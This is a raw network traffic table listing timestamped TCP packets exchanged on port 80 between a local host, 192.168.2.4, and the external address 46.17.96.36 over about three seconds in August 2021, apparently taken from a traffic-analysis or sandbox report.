Aug 29, 2021 22:27:13.153196096 CEST	49745	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:13.153275967 CEST	80	49745	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:13.153290033 CEST	80	49745	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:13.153300047 CEST	80	49745	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:13.153311968 CEST	80	49745	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:13.153327942 CEST	80	49745	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:13.153342009 CEST	80	49745	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:13.185213089 CEST	80	49745	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:13.185355902 CEST	80	49745	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:13.185369968 CEST	80	49745	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:13.185498953 CEST	80	49745	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:13.185589075 CEST	80	49745	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:13.185785055 CEST	80	49745	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:13.221765041 CEST	80	49745	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:13.221936941 CEST	49745	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:13.473715067 CEST	49745	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:13.476545095 CEST	49746	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:13.506150961 CEST	80	49745	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:13.506289005 CEST	49745	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:13.508778095 CEST	80	49746	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:13.508900881 CEST	49746	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:13.510036945 CEST	49746	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:13.510320902 CEST	49746	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:13.510593891 CEST	49746	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:13.510714054 CEST	49746	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:13.542231083 CEST	80	49746	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:13.542383909 CEST	80	49746	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:13.542531967 CEST	80	49746	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:13.542553902 CEST	80	49746	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:13.542604923 CEST	49746	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:13.542624950 CEST	80	49746	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:13.542634964 CEST	49746	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:13.542697906 CEST	49746	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:13.542845011 CEST	80	49746	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:13.542860985 CEST	80	49746	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:13.542951107 CEST	49746	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:13.574733973 CEST	80	49746	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:13.574760914 CEST	80	49746	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:13.574834108 CEST	80	49746	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:13.574850082 CEST	80	49746	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:13.574920893 CEST	49746	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:13.574958086 CEST	80	49746	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:13.575000048 CEST	49746	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:13.575018883 CEST	49746	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:13.575139046 CEST	80	49746	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:13.575222969 CEST	49746	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:13.575282097 CEST	80	49746	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:13.575367928 CEST	49746	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:13.575531960 CEST	80	49746	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:13.575608969 CEST	49746	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:13.607160091 CEST	80	49746	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:13.607192039 CEST	80	49746	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:13.607211113 CEST	80	49746	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:13.607275009 CEST	80	49746	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:13.607386112 CEST	49746	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:13.607475996 CEST	80	49746	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:13.607492924 CEST	80	49746	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:13.607511044 CEST	80	49746	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:13.607599974 CEST	80	49746	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:13.607615948 CEST	80	49746	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:13.607801914 CEST	80	49746	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:13.607817888 CEST	80	49746	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:13.639671087 CEST	80	49746	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:13.639791012 CEST	80	49746	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:13.639926910 CEST	80	49746	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:13.673710108 CEST	80	49746	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:13.675311089 CEST	49746	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:13.923198938 CEST	49746	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:13.924675941 CEST	49747	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:13.955372095 CEST	80	49746	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:13.955482960 CEST	49746	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:13.956675053 CEST	80	49747	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:13.957218885 CEST	49747	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:13.957889080 CEST	49747	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:13.958050013 CEST	49747	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:13.958271980 CEST	49747	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:13.958479881 CEST	49747	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:13.989873886 CEST	80	49747	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:13.989907980 CEST	80	49747	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:13.990062952 CEST	80	49747	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:13.990119934 CEST	80	49747	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:13.990210056 CEST	80	49747	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:13.990216970 CEST	49747	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:13.990286112 CEST	49747	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:13.990382910 CEST	80	49747	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:13.990397930 CEST	80	49747	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:13.990497112 CEST	49747	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:14.022362947 CEST	80	49747	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:14.022434950 CEST	80	49747	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:14.022460938 CEST	80	49747	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:14.022490025 CEST	80	49747	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:14.022502899 CEST	49747	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:14.022507906 CEST	80	49747	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:14.022556067 CEST	49747	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:14.022603989 CEST	49747	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:14.022629023 CEST	49747	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:14.022738934 CEST	80	49747	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:14.022840977 CEST	49747	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:14.054634094 CEST	80	49747	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:14.054991007 CEST	80	49747	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:14.055013895 CEST	80	49747	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:14.055035114 CEST	80	49747	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:14.055057049 CEST	80	49747	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:14.055077076 CEST	80	49747	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:14.055160046 CEST	49747	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:14.055201054 CEST	49747	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:14.055201054 CEST	80	49747	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:14.055352926 CEST	80	49747	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:14.055538893 CEST	80	49747	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:14.055561066 CEST	80	49747	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:14.055617094 CEST	80	49747	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:14.055829048 CEST	80	49747	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:14.087182999 CEST	80	49747	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:14.087254047 CEST	80	49747	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:14.087435007 CEST	80	49747	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:14.087454081 CEST	80	49747	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:14.087671041 CEST	80	49747	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:14.125421047 CEST	80	49747	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:14.126442909 CEST	49747	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:14.329664946 CEST	49747	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:14.331108093 CEST	49748	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:14.361859083 CEST	80	49747	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:14.362107038 CEST	49747	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:14.365802050 CEST	80	49748	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:14.366095066 CEST	49748	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:14.367435932 CEST	49748	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:14.367639065 CEST	49748	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:14.368022919 CEST	49748	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:14.368320942 CEST	49748	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:14.401890993 CEST	80	49748	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:14.401916981 CEST	80	49748	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:14.402420998 CEST	80	49748	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:14.402451992 CEST	80	49748	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:14.402472019 CEST	80	49748	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:14.402553082 CEST	49748	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:14.402607918 CEST	49748	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:14.402694941 CEST	80	49748	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:14.402709007 CEST	80	49748	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:14.402808905 CEST	80	49748	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:14.402826071 CEST	49748	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:14.402854919 CEST	49748	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:14.437365055 CEST	80	49748	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:14.437387943 CEST	80	49748	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:14.437433958 CEST	80	49748	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:14.437447071 CEST	80	49748	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:14.437459946 CEST	80	49748	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:14.437547922 CEST	49748	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:14.437593937 CEST	49748	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:14.437669992 CEST	80	49748	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:14.437685013 CEST	80	49748	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:14.437736034 CEST	49748	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:14.437776089 CEST	49748	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:14.472449064 CEST	80	49748	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:14.472476959 CEST	80	49748	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:14.472495079 CEST	80	49748	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:14.472510099 CEST	80	49748	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:14.472604990 CEST	80	49748	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:14.472687960 CEST	49748	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:14.472731113 CEST	49748	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:14.472776890 CEST	80	49748	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:14.472798109 CEST	80	49748	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:14.472866058 CEST	80	49748	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:14.472927094 CEST	80	49748	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:14.507836103 CEST	80	49748	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:14.508021116 CEST	80	49748	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:14.508066893 CEST	80	49748	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:14.508099079 CEST	80	49748	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:14.508131027 CEST	80	49748	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:14.547033072 CEST	80	49748	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:14.547171116 CEST	49748	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:14.776900053 CEST	49748	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:14.778177023 CEST	49749	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:14.811616898 CEST	80	49749	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:14.811661005 CEST	80	49748	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:14.811887980 CEST	49748	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:14.811981916 CEST	49749	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:14.812544107 CEST	49749	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:14.812851906 CEST	49749	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:14.813316107 CEST	49749	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:14.813824892 CEST	49749	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:14.844645977 CEST	80	49749	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:14.845074892 CEST	80	49749	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:14.845637083 CEST	80	49749	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:14.845684052 CEST	80	49749	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:14.845769882 CEST	49749	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:14.845772982 CEST	80	49749	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:14.845865011 CEST	49749	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:14.845895052 CEST	80	49749	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:14.846174002 CEST	80	49749	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:14.846190929 CEST	80	49749	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:14.846278906 CEST	49749	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:14.846317053 CEST	49749	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:14.846329927 CEST	49749	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:14.878046036 CEST	80	49749	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:14.878076077 CEST	80	49749	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:14.878092051 CEST	80	49749	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:14.878238916 CEST	49749	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:14.878390074 CEST	80	49749	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:14.878539085 CEST	49749	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:14.878551960 CEST	80	49749	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:14.878664970 CEST	49749	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:14.878729105 CEST	80	49749	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:14.878746986 CEST	80	49749	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:14.878762007 CEST	80	49749	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:14.878812075 CEST	49749	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:14.878865004 CEST	49749	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:14.910547018 CEST	80	49749	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:14.910567999 CEST	80	49749	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:14.910722017 CEST	80	49749	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:14.910844088 CEST	49749	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:14.910855055 CEST	80	49749	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:14.910963058 CEST	80	49749	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:14.910973072 CEST	80	49749	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:14.910983086 CEST	80	49749	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:14.911015987 CEST	80	49749	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:14.911176920 CEST	80	49749	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:14.911205053 CEST	80	49749	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:14.911375999 CEST	80	49749	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:14.945692062 CEST	80	49749	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:14.945725918 CEST	80	49749	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:14.945738077 CEST	80	49749	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:14.945755959 CEST	80	49749	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:14.945774078 CEST	80	49749	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:14.988075972 CEST	80	49749	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:14.988277912 CEST	49749	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:15.199714899 CEST	49749	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:15.201349974 CEST	49750	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:15.232300997 CEST	80	49749	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:15.232441902 CEST	49749	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:15.236258984 CEST	80	49750	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:15.236510038 CEST	49750	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:15.237274885 CEST	49750	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:15.237449884 CEST	49750	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:15.237699032 CEST	49750	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:15.237847090 CEST	49750	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:15.272152901 CEST	80	49750	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:15.272181034 CEST	80	49750	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:15.272551060 CEST	80	49750	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:15.272635937 CEST	49750	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:15.272653103 CEST	80	49750	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:15.272715092 CEST	80	49750	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:15.272733927 CEST	49750	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:15.272783995 CEST	80	49750	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:15.272798061 CEST	49750	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:15.272825003 CEST	49750	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:15.308871031 CEST	80	49750	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:15.309000969 CEST	49750	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:15.309237957 CEST	80	49750	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:15.309354067 CEST	49750	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:15.309365034 CEST	80	49750	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:15.309380054 CEST	80	49750	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:15.309463024 CEST	49750	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:15.309501886 CEST	49750	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:15.309550047 CEST	80	49750	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:15.309566021 CEST	80	49750	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:15.309580088 CEST	80	49750	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:15.309636116 CEST	49750	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:15.309658051 CEST	49750	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:15.345856905 CEST	80	49750	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:15.345880032 CEST	80	49750	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:15.346055984 CEST	49750	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:15.346214056 CEST	80	49750	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:15.346287012 CEST	80	49750	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:15.346385002 CEST	80	49750	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:15.346385002 CEST	49750	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:15.346396923 CEST	80	49750	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:15.346451998 CEST	49750	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:15.346601963 CEST	80	49750	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:15.346692085 CEST	80	49750	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:15.347028971 CEST	80	49750	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:15.347105026 CEST	80	49750	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:15.347130060 CEST	80	49750	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:15.347189903 CEST	80	49750	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:15.347336054 CEST	80	49750	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:15.381396055 CEST	80	49750	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:15.381422997 CEST	80	49750	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:15.381587029 CEST	80	49750	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:15.381602049 CEST	80	49750	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:15.381614923 CEST	80	49750	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:15.427400112 CEST	80	49750	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:15.427638054 CEST	49750	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:15.631287098 CEST	49750	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:15.632927895 CEST	49751	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:15.666332006 CEST	80	49750	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:15.666409016 CEST	49750	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:15.671040058 CEST	80	49751	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:15.671277046 CEST	49751	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:15.672137976 CEST	49751	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:15.672533035 CEST	49751	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:15.673347950 CEST	49751	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:15.673721075 CEST	49751	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:15.707434893 CEST	80	49751	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:15.707912922 CEST	80	49751	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:15.708760023 CEST	80	49751	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:15.708790064 CEST	80	49751	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:15.708811045 CEST	80	49751	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:15.708998919 CEST	80	49751	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:15.709050894 CEST	49751	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:15.709207058 CEST	49751	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:15.744863987 CEST	80	49751	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:15.744883060 CEST	80	49751	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:15.745023012 CEST	49751	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:15.745253086 CEST	80	49751	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:15.745364904 CEST	80	49751	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:15.745372057 CEST	49751	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:15.745378017 CEST	80	49751	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:15.745564938 CEST	49751	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:15.745595932 CEST	80	49751	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:15.745810986 CEST	49751	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:15.745985031 CEST	80	49751	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:15.745996952 CEST	80	49751	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:15.746072054 CEST	49751	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:15.746109962 CEST	49751	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:15.746117115 CEST	80	49751	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:15.746143103 CEST	49751	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:15.746196985 CEST	49751	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:15.781074047 CEST	80	49751	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:15.781101942 CEST	80	49751	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:15.781111956 CEST	80	49751	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:15.781126022 CEST	80	49751	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:15.781138897 CEST	80	49751	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:15.781151056 CEST	80	49751	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:15.781164885 CEST	80	49751	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:15.781214952 CEST	49751	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:15.781281948 CEST	49751	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:15.781347990 CEST	80	49751	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:15.781610966 CEST	80	49751	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:15.781630993 CEST	80	49751	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:15.781645060 CEST	80	49751	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:15.781653881 CEST	49751	80	192.168.2.4	46.17.96.36
Aug 29, 2021 22:27:15.781658888 CEST	80	49751	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:15.781673908 CEST	80	49751	46.17.96.36	192.168.2.4
Aug 29, 2021 22:27:15.816709995 CEST	80	49751	46.17.96.36	192.168.2.4
